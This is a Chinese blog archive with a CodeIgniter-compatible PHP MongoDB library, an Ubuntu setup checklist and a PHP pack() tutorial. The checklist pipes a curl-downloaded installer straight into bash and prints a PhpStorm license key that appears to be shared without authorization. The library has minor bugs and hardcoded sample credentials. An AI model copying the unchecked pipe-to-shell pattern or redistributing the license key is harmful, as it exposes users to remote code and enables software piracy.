月度归档:2015年05月

mongodb的php odm 完全基于codeigniter 格式 兼容codeigniter 单文件版本

类文件:

<?php

if (!defined('BASEPATH'))
        exit('No direct script access allowed');

if(!function_exists('show_error')){
    function show_error($msg,$code){
        echo $msg;
        exit;
    }
}
if(function_exists('get_instance')){
    $CI =& get_instance();
    $CI->config->load("cimongo");
    $GLOBALS['host']	= trim($CI->config->item('host'));
    $GLOBALS['port'] = trim($CI->config->item('port'));
    $GLOBALS['user'] = trim($CI->config->item('user'));
    $GLOBALS['pass'] = trim($CI->config->item('pass'));
    $GLOBALS['dbname'] = trim($CI->config->item('db'));
    $GLOBALS['query_safety'] = $CI->config->item('query_safety');
    $GLOBALS['dbhostflag'] = (bool)$CI->config->item('db_flag');
    $GLOBALS['mongo_return'] = (bool)$CI->config->item('mongo_return');
}else{
    $GLOBALS['host']	= trim("127.0.0.1");
    $GLOBALS['port'] = trim("27017");
    $GLOBALS['user'] = trim("user1");
    $GLOBALS['pass'] = trim("123456");
    $GLOBALS['dbname'] = trim("codeigniter");
    $GLOBALS['query_safety'] = true;
    $GLOBALS['dbhostflag'] = true;
    $GLOBALS['mongo_return'] = '';

}


class Cimongo extends Cimongo_extras {
        private $_inserted_id = FALSE;
        public $debug = FALSE;

        public function __construct() {
                parent::__construct();
        }
        public function close() {
                
        }
        public function get($collection = "", $limit = FALSE, $offset = FALSE) {
                if (empty($collection)) {
                        //FIXME theow exception instead show error
                        show_error("In order to retreive documents from MongoDB, a collection name must be passed", 500);
                }
                $cursor = $this->db->selectCollection($collection)->find($this->wheres, $this->selects);
                $cimongo_cursor = new Cimongo_cursor($cursor);

                $this->limit = ($limit !== FALSE && is_numeric($limit)) ? $limit : $this->limit;
                if ($this->limit !== FALSE) {
                        $cimongo_cursor->limit($this->limit);
                }

                $this->offset = ($offset !== FALSE && is_numeric($offset)) ? $offset : $this->offset;
                if ($this->offset !== FALSE) {
                        $cimongo_cursor->skip($this->offset);
                }
                if (!empty($this->sorts) && count($this->sorts) > 0) {
                        $cimongo_cursor->sort($this->sorts);
                }
                $this->_clear();
                return $cimongo_cursor;
        }
        public function get_where($collection = "", $where = array(), $limit = FALSE, $offset = FALSE) {
                return $this->where($where)->get($collection, $limit, $offset);
        }
        public function select($includes = array()) {
                if (!is_array($includes)) {
                        $includes = array();
                }
                if (!empty($includes)) {
                        foreach ($includes as $col) {
                                $this->selects[$col] = TRUE;
                        }
                }
                return $this;
        }
        public function where($wheres = array(), $values = '') {
            if (is_array($wheres)) {
                        foreach ($wheres as $where => $value) {
                                $this->_where_init($where);
                                $this->wheres[$where] = $value;
                        }
                }else{
                $this->where(array($wheres=>$values));
            }
                return $this;
        }
        public function or_where($wheres = array(),$value='') {
            if(is_array($wheres)) {
                $this->_where_init('$or');
                if (is_array($wheres) && count($wheres) > 0) {
                    foreach ($wheres as $wh => $val) {
                        $this->wheres['$or'][] = array($wh => $val);
                    }
                }
            }else{
                $this->or_where(array($wheres=>$value));
            }
                return $this;
        }
        public function where_in($field = "", $in = array()) {
                $this->_where_init($field);
                $this->wheres[$field]['$in'] = $in;
                return $this;
        }
        public function where_not_in($field = "", $in = array()) {
                $this->_where_init($field);
                $this->wheres[$field]['$nin'] = $in;
                return $this;
        }
        public function like($field = "", $value = "", $flags = "i", $enable_start_wildcard = TRUE, $enable_end_wildcard = TRUE) {
                $field = (string) trim($field);
                $this->_where_init($field);
                $value = (string) trim($value);
                $value = quotemeta($value);

                if ($enable_start_wildcard !== TRUE) {
                        $value = "^" . $value;
                }
                if ($enable_end_wildcard !== TRUE) {
                        $value .= "$";
                }
                $regex = "/$value/$flags";
                $this->wheres[$field] = new MongoRegex($regex);
                return $this;
        }
        public function or_like($field, $like = array(),$flags = "i") {
                $this->_where_init('$or');
                        if (is_array($like) && count($like) > 0) {
                                foreach ($like as $admitted) {
                                $this->wheres['$or'][] = array($field => new MongoRegex("/$admitted/$flags"));
                                }
                        } else {
                        $this->wheres['$or'][] = array($field => new MongoRegex("/$like/$flags"));
                        }
                return $this;
        }
        public function not_like($field, $like = array()) {
                $this->_where_init($field);
                if (is_array($like) && count($like) > 0) {
                        foreach ($like as $admitted) {
                                $this->wheres[$field]['$nin'][] = new MongoRegex("/$admitted/");
                        }
                }
                return $this;
        }
        public function order_by($fields = array(),$value='') {
            if(is_array($fields)) {
                foreach ($fields as $field => $val) {
                    if ($val === -1 || $val === FALSE || strtolower($val) === 'desc') {
                        $this->sorts[$field] = -1;
                    }
                    if ($val === 1 || $val === TRUE || strtolower($val) === 'asc') {
                        $this->sorts[$field] = 1;
                    }
                }
            }else{
                if(strtolower($value) === 'asc'){
                    $this->sorts[$fields] = 1;
                }else{
                    $this->sorts[$fields] = -1;
                }
            }
                return $this;
        }
        public function count_all($collection = "") {
                if (empty($collection)) {
                        show_error("In order to retreive a count of documents from MongoDB, a collection name must be passed", 500);
                }

                $cursor = $this->db->selectCollection($collection)->find();
                $cimongo_cursor = new Cimongo_cursor($cursor);
                $count = $cimongo_cursor->count(TRUE);
                $this->_clear();
                return $count;
        }
        public function count_all_results($collection = "") {
                if (empty($collection)) {
                        show_error("In order to retreive a count of documents from MongoDB, a collection name must be passed", 500);
                }

                $cursor = $this->db->selectCollection($collection)->find($this->wheres);
                $cimongo_cursor = new Cimongo_cursor($cursor);
                if ($this->limit !== FALSE) {
                        $cimongo_cursor->limit($this->limit);
                }
                if ($this->offset !== FALSE) {
                        $cimongo_cursor->skip($this->offset);
                }
                $this->_clear();
                return $cimongo_cursor->count(TRUE);
        }

        public function insert($collection = "", $insert = array()) {
                if (empty($collection)) {
                        show_error("No Mongo collection selected to insert into", 500);
                }

                if (count($insert) == 0) {
                        show_error("Nothing to insert into Mongo collection or insert is not an array", 500);
                }
                $this->_inserted_id = FALSE;
                try {
                        $query = $this->db->selectCollection($collection)->insert($insert, array("w" => $this->query_safety));
                        if (isset($insert['_id'])) {
                                $this->_inserted_id = $insert['_id'];
                                return TRUE;
                        } else {
                                return FALSE;
                        }
                } catch (MongoException $e) {
                        show_error("Insert of data into MongoDB failed: {$e->getMessage()}", 500);
                } catch (MongoCursorException $e) {
                        show_error("Insert of data into MongoDB failed: {$e->getMessage()}", 500);
                }
        }

        public function insert_batch($collection = "", $insert = array()) {
                if (empty($collection)) {
                        show_error("No Mongo collection selected to insert into", 500);
                }
                if (count($insert) == 0) {
                        show_error("Nothing to insert into Mongo collection or insert is not an array", 500);
                }
                try {
                        $query = $this->db->selectCollection($collection)->batchInsert($insert, array("w" => $this->query_safety));
                        if (is_array($query)) {
                                return $query["err"] === NULL;
                        } else {
                                return $query;
                        }
                } catch (MongoException $e) {
                        show_error("Insert of data into MongoDB failed: {$e->getMessage()}", 500);
                } catch (MongoCursorException $e) {
                        show_error("Insert of data into MongoDB failed: {$e->getMessage()}", 500);
                } catch (MongoCursorTimeoutException $e) {
                        show_error("Insert of data into MongoDB failed: {$e->getMessage()}", 500);
                }
        }

        public function set($fields = array()) {
                if (is_array($fields)) {
                        $this->_update_init('$set');
                        foreach ($fields as $field => $value) {
                                $this->updates['$set'][$field] = $value;
                        }
                }
                return $this;
        }

        public function update($collection = "", $data = array(), $options = array('multiple' => TRUE)) {
                if (empty($collection)) {
                        show_error("No Mongo collection selected to update", 500);
                }
                if (is_array($data) && count($data) > 0) {
                        $this->_update_init('$set');
                        $this->updates['$set'] += $data;
                }
                if (count($this->updates) == 0) {
                        show_error("Nothing to update in Mongo collection or update is not an array", 500);
                }
                try {
                        $options = array_merge(array("w" => $this->query_safety, 'multiple' => FALSE), $options);
                        $this->db->selectCollection($collection)->update($this->wheres, $this->updates, $options);
                        $this->_clear();
                        return TRUE;
                } catch (MongoCursorException $e) {
                        show_error("Update of data into MongoDB failed: {$e->getMessage()}", 500);
                } catch (MongoCursorException $e) {
                        show_error("Update of data into MongoDB failed: {$e->getMessage()}", 500);
                } catch (MongoCursorTimeoutException $e) {
                        show_error("Update of data into MongoDB failed: {$e->getMessage()}", 500);
                }
        }

        public function update_batch($collection = "", $data = array()) {
                return $this->update($collection, $data, array('multiple' => TRUE));
        }

        public function delete($collection = "", $options = array('justOne' => FALSE)) {
                if (empty($collection)) {
                        show_error("No Mongo collection selected to delete from", 500);
                }
                try {
                        $options = array_merge(array("w" => $this->query_safety), $options);
                        $this->db->selectCollection($collection)->remove($this->wheres, $options);
                        $this->_clear();
                        return TRUE;
                } catch (MongoCursorException $e) {
                        show_error("Delete of data into MongoDB failed: {$e->getMessage()}", 500);
                } catch (MongoCursorTimeoutException $e) {
                        show_error("Delete of data into MongoDB failed: {$e->getMessage()}", 500);
                }
        }

        public function delete_batch($collection = "", $options = array()) {
                return $this->delete($collection, array('justOne' => FALSE));
        }

        public function limit($limit = FALSE,$offset=0) {
                if ($limit && is_numeric($limit)) {
                        $this->limit = $limit;
                }
            if ($offset && is_numeric($offset)) {
                $this->offset = $offset;
            }
                return $this;
        }

        public function insert_id() {
                return $this->_inserted_id;
        }
}




class Cimongo_extras extends Cimongo_base{
    public function __construct(){
        parent::__construct();
    }
    public function command($query = array()){
        try{
            $run = $this->db->command($query);
            return $run;
        }catch (MongoCursorException $e){
            show_error("MongoDB command failed to execute: {$e->getMessage()}", 500);
        }
    }
    public function aggregate($collection = "", $opt) {
        if (empty($collection)) {
            show_error("No Mongo collection selected to insert into", 500);
        }
        try{
            $c = $this->db->selectCollection($collection);
            return $c->aggregate($opt);
        } catch (MongoException $e) {
            show_error("MongoDB failed: {$e->getMessage()}", 500);
        }
    }

    public function ensure_index($collection = "", $keys = array(), $options = array()){
        if(empty($collection)){
            show_error("No Mongo collection specified to add index to", 500);
        }
        if(empty($keys) || !is_array($keys)){
            show_error("Index could not be created to MongoDB Collection because no keys were specified", 500);
        }
        foreach ($keys as $col => $val){
            if($val == -1 || $val === FALSE || strtolower($val) == 'desc'){
                $keys[$col] = -1;
            }else{
                $keys[$col] = 1;
            }
        }
        if ($this->db->{$collection}->ensureIndex($keys, $options) == TRUE){
            $this->_clear();
            return $this;
        }
        else{
            show_error("An error occured when trying to add an index to MongoDB Collection", 500);
        }
    }

    public function remove_index($collection = "", $keys = array()){
        if (empty($collection))	{
            show_error("No Mongo collection specified to remove index from", 500);
        }
        if (empty($keys) || !is_array($keys))	{
            show_error("Index could not be removed from MongoDB Collection because no keys were specified", 500);
        }
        if ($this->db->{$collection}->deleteIndex($keys, $options) == TRUE){
            $this->_clear();
            return $this;
        }
        else{
            show_error("An error occured when trying to remove an index from MongoDB Collection", 500);
        }
    }

    public function remove_all_indexes($collection = ""){
        if (empty($collection)){
            show_error("No Mongo collection specified to remove all indexes from", 500);
        }
        $this->db->{$collection}->deleteIndexes();
        $this->_clear();
        return $this;
    }

    public function list_indexes($collection = ""){
        if (empty($collection)){
            show_error("No Mongo collection specified to remove all indexes from", 500);
        }
        return $this->db->{$collection}->getIndexInfo();
    }

    public function get_dbref($obj){
        if (empty($obj) OR !isset($obj)){
            show_error('To use MongoDBRef::get() ala get_dbref() you must pass a valid reference object', 500);
        }

        if ($GLOBALS['mongo_return'] == 'object'){
            return (object) MongoDBRef::get($this->db, $obj);
        }
        else{
            return (array) MongoDBRef::get($this->db, $obj);
        }
    }

    public function create_dbref($collection = "", $id = "", $database = FALSE ){
        if (empty($collection))	{
            show_error("In order to retreive documents from MongoDB, a collection name must be passed", 500);
        }
        if (empty($id) OR !isset($id))
        {
            show_error('To use MongoDBRef::create() ala create_dbref() you must pass a valid id field of the object which to link', 500);
        }

        $db = $database ? $database : $this->db;

        if ($GLOBALS['mongo_return'] == 'object'){
            return (object) MongoDBRef::create($collection, $id, $db);
        }else{
            return (array) MongoDBRef::get($this->db, $obj);
        }
    }

    public function where_gt($field = "", $x){
        $this->_where_init($field);
        $this->wheres[$field]['$gt'] = $x;
        return $this;
    }

    public function where_gte($field = "", $x){
        $this->_where_init($field);
        $this->wheres[$field]['$gte'] = $x;
        return $this;
    }

    public function where_lt($field = "", $x){
        $this->_where_init($field);
        $this->wheres[$field]['$lt'] = $x;
        return $this;
    }

    public function where_lte($field = "", $x){
        $this->_where_init($field);
        $this->wheres[$field]['$lte'] = $x;
        return $this;
    }

    public function where_between($field = "", $x, $y){
        $this->_where_init($field);
        $this->wheres[$field]['$gte'] = $x;
        $this->wheres[$field]['$lte'] = $y;
        return $this;
    }

    public function where_between_ne($field = "", $x, $y){
        $this->_where_init($field);
        $this->wheres[$field]['$gt'] = $x;
        $this->wheres[$field]['$lt'] = $y;
        return $this;
    }

    public function where_ne($field = '', $x){
        $this->_where_init($field);
        $this->wheres[$field]['$ne'] = $x;
        return $this;
    }

    function where_near($field = '', $co = array()){
        $this->__where_init($field);
        $this->where[$what]['$near'] = $co;
        return $this;
    }

    public function inc($fields = array(), $value = 0){
        $this->_update_init('$inc');
        if (is_string($fields)){
            $this->updates['$inc'][$fields] = $value;
        }elseif(is_array($fields)){
            foreach ($fields as $field => $value){
                $this->updates['$inc'][$field] = $value;
            }
        }
        return $this;
    }

    public function dec($fields = array(), $value = 0){
        $this->_update_init('$dec');
        if (is_string($fields)){
            $this->updates['$dec'][$fields] = $value;
        }elseif (is_array($fields)){
            foreach ($fields as $field => $value){
                $this->updates['$dec'][$field] = $value;
            }
        }
        return $this;
    }

    public function unset_field($fields){
        $this->_update_init('$unset');
        if (is_string($fields)){
            $this->updates['$unset'][$fields] = 1;
        }elseif (is_array($fields)){
            foreach ($fields as $field)	{
                $this->updates['$unset'][$field] = 1;
            }
        }
        return $this;
    }

    public function addtoset($field, $values){
        $this->_update_init('$addToSet');
        if (is_string($values)){
            $this->updates['$addToSet'][$field] = $values;
        }elseif (is_array($values)){
            $this->updates['$addToSet'][$field] = array('$each' => $values);
        }
        return $this;
    }

    public function push($fields, $value = array()){
        $this->_update_init('$push');
        if (is_string($fields)){
            $this->updates['$push'][$fields] = $value;
        }elseif (is_array($fields)){
            foreach ($fields as $field => $value){
                $this->updates['$push'][$field] = $value;
            }
        }
        return $this;
    }

    public function push_all($fields, $value = array()) {
        $this->_update_init('$pushAll');
        if (is_string($fields)){
            $this->updates['$pushAll'][$fields] = $value;
        }elseif (is_array($fields)){
            foreach ($fields as $field => $value){
                $this->updates['$pushAll'][$field] = $value;
            }
        }
        return $this;
    }

    public function pop($field){
        $this->_update_init('$pop');
        if (is_string($field)){
            $this->updates['$pop'][$field] = -1;
        }
        elseif (is_array($field)){
            foreach ($field as $pop_field){
                $this->updates['$pop'][$pop_field] = -1;
            }
        }
        return $this;
    }

    public function pull($field = "", $value = array()){
        $this->_update_init('$pull');
        $this->updates['$pull'] = array($field => $value);
        return $this;
    }

    public function pull_all($field = "", $value = array()){
        $this->_update_init('$pullAll');
        $this->updates['$pullAll'] = array($field => $value);
        return $this;
    }

    public function rename_field($old, $new){
        $this->_update_init('$rename');
        $this->updates['$rename'][] = array($old => $new);
        return $this;
    }
}


class Cimongo_cursor extends Cimongo_base
{
    protected $_cursor;
    public function __construct(MongoCursor $cursor){
        $this->_cursor	= $cursor;
    }

    public function result($as_object=TRUE){
        $result = array();
        try {
            foreach ($this->_cursor as $doc){
                $result[]=$as_object?$this->_array_to_object($doc):$doc;
            }
        }catch (Exception  $exception){
            return $this->_handle_exception($exception->getMessage(),$as_object);
        }
        return $result;

    }

    public function has_error(){
        try {
            $this->_cursor->next();
        }catch (Exception  $exception){
            return $this->_handle_exception($exception->getMessage(),$as_object);
        }
        return FALSE;

    }

    public function result_array(){
        return $this->result(FALSE);

    }

    public function result_object(){
        return $this->result();

    }

    public function num_rows(){
        return $this->count(TRUE);
    }

    public function row($index=0, $class=NULL, $as_object=TRUE){
        $size = $this->_cursor->count();
        $this->_cursor->reset();
        $res = array();
        for($i=0;$i<$size;$i++){
            $this->_cursor->next();
            if($i==$index && $index<=$size){
                $res = $as_object?(object)$this->_cursor->current():$this->_cursor->current();
                break;
            }
        }
        return $res;
    }

    public function row_array($index=0, $class=NULL){
        return $this->row($index, NULL, FALSE);
    }

    public function skip($x = FALSE){
        if ($x !== FALSE && is_numeric($x) && $x >= 1){
            return $this->_cursor->skip((int)$x);
        }
        return $this->_cursor;
    }

    public function limit($x = FALSE){
        if ($x !== FALSE && is_numeric($x) && $x >= 1)
        {
            return $this->_cursor->limit((int)$x);
        }
        return $this->_cursor;
    }

    public function sort($fields) {
        return $this->_cursor->sort($fields);
    }

    public function count($foundOnly = FALSE) {
        $count = array();
        try {
            $count = $this->_cursor->count($foundOnly);
        }catch (MongoCursorException $exception){
            show_error($exception->getMessage(), 500);
        }catch (MongoConnectionException $exception){
            show_error($exception->getMessage(), 500);
        }
        catch (MongoCursorTimeoutException $exception){
            show_error($exception->getMessage(), 500);
        }
        return $count;
    }

    private function _array_to_object($array) {
        if(!is_array($array)) {
            return $array;
        }
        $object = new stdClass();
        if (is_array($array) && count($array) > 0) {
            foreach ($array as $name=>$value) {
                $name = strtolower(trim($name));
                if (!empty($name)) {
                    $object->$name = $value;
                }
            }
            return $object;
        }
        else {
            return FALSE;
        }
    }
}


class Cimongo_base {
    protected $CI;
    protected $connection;
    protected $db;
    private $connection_string;
    private $host;
    private $port;
    private $user;
    private $pass;
    private $dbname;
    protected $query_safety;
    protected $selects = array();
    protected  $wheres = array();
    protected $sorts = array();
    protected $updates = array();
    protected $limit = FALSE;
    protected $offset = FALSE;

    public function __construct(){
        if (!class_exists('Mongo')){
            show_error("The MongoDB PECL extension has not been installed or enabled", 500);
        }
        $this->connection_string();
        $this->connect();
    }

    public function switch_db($database = ''){
        if (empty($database)){
            show_error("To switch MongoDB databases, a new database name must be specified", 500);
        }
        $this->dbname = $database;
        try{
            $this->db = $this->connection->{$this->dbname};
            return (TRUE);
        }catch (Exception $e){
            show_error("Unable to switch Mongo Databases: {$e->getMessage()}", 500);
        }
    }

    public function drop_db($database = ''){
        if (empty($database)){
            show_error('Failed to drop MongoDB database because name is empty', 500);
        }else{
            try{
                $this->connection->{$database}->drop();
                return TRUE;
            }catch (Exception $e){
                show_error("Unable to drop Mongo database `{$database}`: {$e->getMessage()}", 500);
            }

        }
    }

    public function drop_collection($db = "", $col = ""){
        if (empty($db)){
            show_error('Failed to drop MongoDB collection because database name is empty', 500);
        }
        if (empty($col)){
            show_error('Failed to drop MongoDB collection because collection name is empty', 500);
        }else{
            try{
                $this->connection->{$db}->{$col}->drop();
                return TRUE;
            }catch (Exception $e)
            {
                show_error("Unable to drop Mongo collection '$col': {$e->getMessage()}", 500);
            }
        }

        return $this;
    }

    private function connect(){
        $options = array();
        try{
            $this->connection = new MongoClient($this->connection_string, $options);
            $this->db = $this->connection->{$this->dbname};
            return $this;
        }catch (MongoConnectionException $e){
            show_error("Unable to connect to MongoDB: {$e->getMessage()}", 500);
        }
    }

    public function connection_string(){
        //global $host,$port,$user,$pass,$dbname,$query_safety,$dbhostflag;
        $this->host	= $GLOBALS['host'];
        $this->port = $GLOBALS['port'];
        $this->user = $GLOBALS['user'];
        $this->pass = $GLOBALS['pass'];
        $this->dbname = $GLOBALS['dbname'];
        $this->query_safety = $GLOBALS['query_safety'];
        $dbhostflag = (bool)$GLOBALS['dbhostflag'];

        $connection_string = "mongodb://";

        if (empty($this->host)){
            show_error("The Host must be set to connect to MongoDB", 500);
        }

        if (empty($this->dbname)){
            show_error("The Database must be set to connect to MongoDB", 500);
        }

        if ( ! empty($this->user) && ! empty($this->pass)){
            $connection_string .= "{$this->user}:{$this->pass}@";
        }

        if (isset($this->port) && ! empty($this->port)){
            $connection_string .= "{$this->host}:{$this->port}";
        }else{
            $connection_string .= "{$this->host}";
        }

        if ($dbhostflag === TRUE){
            //$this->connection_string = trim($connection_string) . '/' . $this->dbname;
            $this->connection_string = trim($connection_string);
        }else{
            $this->connection_string = trim($connection_string);
        }
    }

    protected function _clear()
    {
        $this->selects	= array();
        $this->updates	= array();
        $this->wheres	= array();
        $this->limit	= FALSE;
        $this->offset	= FALSE;
        $this->sorts	= array();
    }

    protected function _where_init($param){
        if (!isset($this->wheres[$param])){
            $this->wheres[$param] = array();
        }
    }

    protected function _update_init($method){
        if ( ! isset($this->updates[$method])){
            $this->updates[$method] = array();
        }
    }

    protected function _handle_exception($message,$as_object=TRUE){
        if($as_object){
            $res =  new stdClass();
            $res->has_error=TRUE;
            $res->error_message=$message;
        }else{
            $res =  array(
                "has_error"=>TRUE,
                "error_message"=>$message
            );
        }
        return $res;
    }
}

单独文件调用:

<?php
define('BASEPATH',true);
include "Cimongo.php";

$db=new Cimongo();
//count
$count=$db->where(array('username'=>'ttt1'))->count_all_results('user');
//select
$query=$db->or_where('username','ttt1')->or_where('username','ttt2')->limit(15,0)->order_by('username','asc')->order_by('password','asc')->get('user')->result_array();
//like
//$query=$db->like('username','t')->like('password','5')->limit(15,0)->order_by('username','asc')->order_by('password','asc')->get('user')->result_array();

//where array format
//$query=$db->where(array('username'=>'aaaa1'))->where(array('password'=>'dddda'))->get('user')->result_array();

//insert
$data=array(
    'username'=>'aaaa',
    'password'=>'dddd'
);
$db->insert('user',$data);
$id=$data['_id'];
echo $db->insert_id();
//insert end
//******************** delete ****//
//$db->where('username','fff')->where('password','dddd')->delete('user');

//******************** update ****//
/*
$update_array=array(
    'username'=>"ttt"
);
$query=$db->where('username','fff')->where('password','dddd')->update('user',$update_array);
*/

//or_where
$query=$db->or_where('username','ttt1')->or_where('username','ttt2')->limit(15,0)->order_by('username','asc')->order_by('password','asc')->get('user')->result_array();

基本codeigniter 框架调用 model示例

<?php
class Test_model extends CI_Model
{
    public function __construct()
    {
        parent::__construct();
        $this->load->library("cimongo/cimongo");
        $this->db=$this->cimongo;
    }

    public function test(){
        $query = $this->db->get('user')->result_array();
        foreach($query as $k=>$v){
            //echo $v['_id']."<br>";

        }
        $data=array(
            'username'=>'aaaa',
            'password'=>'dddd'
        );
        $count=$this->db->where(array('username'=>'aaaa'))->count_all_results('user');
        //$query=$this->db->where(array('username'=>'aaaa1'))->where(array('password'=>'dddda'),true)->get('user')->result_array();
        //$query=$this->db->where('username','ttt')->where('password','dddd')->limit(5,0)->order_by('username','desc')->get('user')->result_array();
        //$query=$this->db->limit(15,0)->order_by('username','asc')->order_by('password','asc')->get('user')->result_array();
        $query=$this->db->or_where('username','ttt1')->or_where('username','ttt2')->limit(15,0)->order_by('username','asc')->order_by('password','asc')->get('user')->result_array();
        //$query=$this->db->like('username','t')->like('password','5')->limit(15,0)->order_by('username','asc')->order_by('password','asc')->get('user')->result_array();
        //$query=$this->db->where('username','ttt1aaaaaaaaaa')->where('username','ttt2')->limit(15,0)->order_by('username','asc')->order_by('password','asc')->get('user')->result_array();  //这种会直接取第二个条件
        var_dump($query);
//        if($query){
//            echo "user_exist";
//            exit;
//        }
        /*
        $this->db->insert('user',$data);
        $id=$data['_id'];
        echo $this->db->insert_id();
        */

        //******************** update ****//
        /*
        $update_array=array(
            'username'=>"ttt"
        );
        $query=$this->db->where('username','fff')->where('password','dddd')->update('user',$update_array);
        */

        //******************** delete ****//
        //$this->db->where('username','fff')->where('password','dddd')->delete('user');
    }
}
?>

codeigniter 添加配置 文件 

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$config['host'] = "127.0.0.1";
$config['port'] = 27017;
$config['db'] = "codeigniter";
$config['user'] = "user1";
$config['pass'] = "123456";
$config['query_safety'] = TRUE;
$config['db_flag'] = TRUE;

mongo.tar

ubuntu1404重装系统

apt-get install unar #解压
apt-get install nautilus-open-terminal #右键终端
apt-get install apache2
apt-get install php5 php5-gd php5-mysql php5-mysqlnd php5-redis php5-mecache php5-dev mysql-server memcached subversion libmysqlclient-dev libcurl4-openssl-dev python-dev php5-mongo htop dstat apache2-utils libapr1-dev
apt-get install rdesktop goaccess xchm
apt-get install build-essential curl git ruby libbz2-dev libcurl4-openssl-dev libexpat-dev libncurses-dev zlib1g-dev
#wine
add-apt-repository ppa:ubuntu-wine/ppa
apt-get install wine1.7
#tmqq2009
blog.csdn.net/kangear/article/details/45897051
apt-get install ia32-libs
apt-get install lib32z1
apt-get install lib32stdc++6
apt-get install libgtk2.0-0:i386
sudo apt-get install lib32z1 lib32ncurses5 lib32bz2-1.0 libgtk2.0-0:i386 p11-kit:i386 libp11-kit-gnome-keyring:i386 libcanberra-gtk-module:i386 gtk2-engines-murrine:i386 gtk2-engines:i386 gtk2-engines-*:i386 libgtkmm-2.4-1c2:i386 libcanberra-gtk-module:i386
sudo apt-get purge overlay-scrollbar

wps字体丢失
http://jingyan.baidu.com/article/ff41162592766512e5823745.html

jdk
http://download.csdn.net/download/aqtata/8599477
vim ~/.bashrc
export JAVA_HOME=/opt/jdk   
export JRE_HOME=${JAVA_HOME}/jre   
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib   
export PATH=${JAVA_HOME}/bin:$PATH

phpstorm
username :cf96PiPYt271u1TC
License Key :
97807-12042010
00001GctOKh8f206hliugiW6iAS5bh
8AAXfEtfpdDSr0oZfJFMQmzncjbdGu
4p”Q3ShiftP0eHtNAUh973O1FnzpzL

/usr/share/lightdm/lightdm.conf.d/50-ubuntu.conf
allow-guest=false #禁止GUEST
greeter-show-manual-login=true   #启用登陆时可输入用户名 如 root   

apt-get install python-gevent python-pip
pip install shadowsocks

#gvm
apt-get install git bison
bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)
gvm install go1.4
gvm use go1.4 –default

#ulimit
/etc/profile
ulimit -SHn 10240
/etc/security/limits.conf
* soft nproc 10240
* hard nproc 10240
* soft nofile 10240
* hard nofile 10240
/etc/pam.d/common-session
session    required    pam_limits.so

#取消输入法显示状态
 ibus-setup  然后在常规里  显示属性面板  选择 “不显示”。

php pack()函数详解与示例

pack和unpack在一般的程序中还真的不容易见到,但是如果你用过很久以前的php生成excel你就会知道了。他的excel的头就是pack出来的
最近在尝试与C交互的时候又用上了这玩意,所以不得不再看看。其实就是C要求我一定要有包头。。。其实纯字符串也不错嘛。干嘛非得搞个包头呢?真纠结 .。

手册上有pack与unpack的介绍,但都是英文的。。。

任何一款拥有socket操作能力的语言都有一个专门用于组包的函数,php也不例外!

用了很久php了却很少有机会用php进行一些二进制操作。 最近用php写一个socket客户端连接一个用C++语言开发的游戏服务端。 服务器端开发人员使用了二进制的形式来定义协议的格式。协议格式如下:

包头(2bytes)+加密(1byte)+命令码(2bytes)+帧内容

1.包头的内容是记录帧内容的长度;

  1. 加密:0表示不加密,1表示加密;

  2. 命令码为服务端命令识别符号;

    一开始不了解php原来有pack可以来组装二进制包, 走了弯路,让服务端开发人员用C语言帮忙开发了的几个内存操作函数,按照协议规则返回二进制包,然后我将这几个方法编译成一组扩展函数供php使用。

    话归正题,本文是介绍如何使用pack和unpack这两个方法的。php官方手册举例太少,不能很容易理解,特别是那些格式化参数的使用。

转摘的参数中文说明:

pack/unpack 的摸板字符字符 含义
a 一个填充空的字节串
A 一个填充空格的字节串
b 一个位串,在每个字节里位的顺序都是升序
B 一个位串,在每个字节里位的顺序都是降序
c 一个有符号 char(8位整数)值
C 一个无符号 char(8位整数)值;关于 Unicode 参阅 U
d 本机格式的双精度浮点数
f 本机格式的单精度浮点数
h 一个十六进制串,低四位在前
H 一个十六进制串,高四位在前
i 一个有符号整数值,本机格式
I 一个无符号整数值,本机格式
l 一个有符号长整形,总是 32 位
L 一个无符号长整形,总是 32 位
n 一个 16位短整形,“网络”字节序(大头在前)
N 一个 32 位短整形,“网络”字节序(大头在前)
p 一个指向空结尾的字串的指针
P 一个指向定长字串的指针
q 一个有符号四倍(64位整数)值
Q 一个无符号四倍(64位整数)值
s 一个有符号短整数值,总是 16 位
S 一个无符号短整数值,总是 16 位,字节序跟机器芯片有关
u 一个无编码的字串
U 一个 Unicode 字符数字
v 一个“VAX”字节序(小头在前)的 16 位短整数
V 一个“VAX”字节序(小头在前)的 32 位短整数
w 一个 BER 压缩的整数
x 一个空字节(向前忽略一个字节)
X 备份一个字节
Z 一个空结束的(和空填充的)字节串
@ 用空字节填充绝对位置

string pack ( string $format [, mixed $args [, mixed $…]] )

一些规则:
1.每个字母后面都可以跟着一个数字,表示 count(计数),如果 count 是一个 * 表示剩下的所有东西。
2.如果你提供的参数比 $format 要求的少,pack 假设缺的都是空值。如果你提供的参数比 $format 要求的多,那么多余的参数被忽略。

下面还是用例子来说明用法会容易理解一点:

关于Pack:  
  
下面的第一部分把数字值包装成字节:  
$out = pack("CCCC", 65, 66, 67, 68);      # $out 等于"ABCD"  
$out = pack("C4", 65, 66, 67, 68);         # 一样的东西  
  
下面的对 Unicode 的循环字母做同样的事情:  
 $foo = pack("U4", 0x24b6, 0x24b7, 0x24b8, 0x24b9);  
  
下面的做类似的事情,增加了一些空:  
$out = pack("CCxxCC", 65, 66, 67, 68);      # $out 等于 "AB\0\0CD"  
  
打包你的短整数并不意味着你就可移植了:  
$out = pack("s2", 1, 2);          
# 在小头在前的机器上是 "\1\0\2\0"  
# 在大头在前的机器上是 "\0\1\0\2"  
  
在二进制和十六进制包装上,count 指的是位或者半字节的数量,而不是生成的字节数量:  
  $out = pack("B32", "...");  
    $out = pack("H8", "5065726c");         # 都生成“Perl”  
  
a 域里的长度只应用于一个字串:  
  $out = pack("a4", "abcd", "x", "y", "z");      # "abcd"  
  
要绕开这个限制,使用多倍声明:  
  $out = pack("aaaa",    "abcd", "x", "y", "z");   # "axyz"  
   $out = pack("a" x 4,   "abcd", "x", "y", "z");   # "axyz"  
  
a 格式做空填充:  
  $out = pack("a14", "abcdefg");         # " abcdefg\0\0\0\0\0\0"  
  
关于unpack:  
  
array unpack ( string $format, string $data )  
  
$data = "010000020007";  
unpack("Sint1/Cchar1/Sint2/Cchar2",$data);  
  
## array('int1'=>1, 'char1'=>'0','int2'=>2,'char2'=>7);  
  
